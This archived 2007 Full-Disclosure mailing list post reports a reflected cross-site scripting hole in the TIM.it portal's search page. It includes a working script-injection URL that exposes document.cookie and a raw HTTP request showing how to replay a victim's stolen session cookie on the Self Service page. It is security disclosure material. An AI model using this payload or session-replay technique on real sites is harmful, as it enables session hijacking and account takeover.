full-disclosure - Script Injection / XSS vulnerability in TIM web portal

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <f01fff670707130809s23bfa8cdg880614316e6a5e77@mail.gmail.com>
Date: Fri, 13 Jul 2007 17:09:32 +0200
From: "Gianni Amato" <guelfoweb@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Script Injection / XSS vulnerability in TIM web
	portal

TIM (Telecom Italia Mobile) is a big italian phone company.
The web portal TIM.it is vulnerable to XSS attacks in search function
(http://www.tim.it/ricerca/d/areaconsumer/ricercasito.do).
An attacker can steal cookie session and access with victim credential,
inject html or arbitary script code.

Cookie view/steal:

http://www.tim.it/ricerca/d/areaconsumer/ricercasito.do?query=%3Cscript%20%0a%0d%3Ealert(document.cookie)%3B%3C/script%3E&area=119%20Self%20Service<http://www.tim.it/ricerca/d/areaconsumer/ricercasito.do?query=%3Cscript%20%0a%0d%3Ealert%28document.cookie%29%3B%3C/script%3E&area=119%20Self%20Service>

Access to Self Service personal page:

Get Request to: https://www.tim.it/119/cruscotto/descrizioneservizi/wp.do

Host: www.tim.it
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv: 1.8.1.4)
Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9
,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q= 0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: insert cookie victim

-- 
Gianni Amato
http://www.gianniamato.it/

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/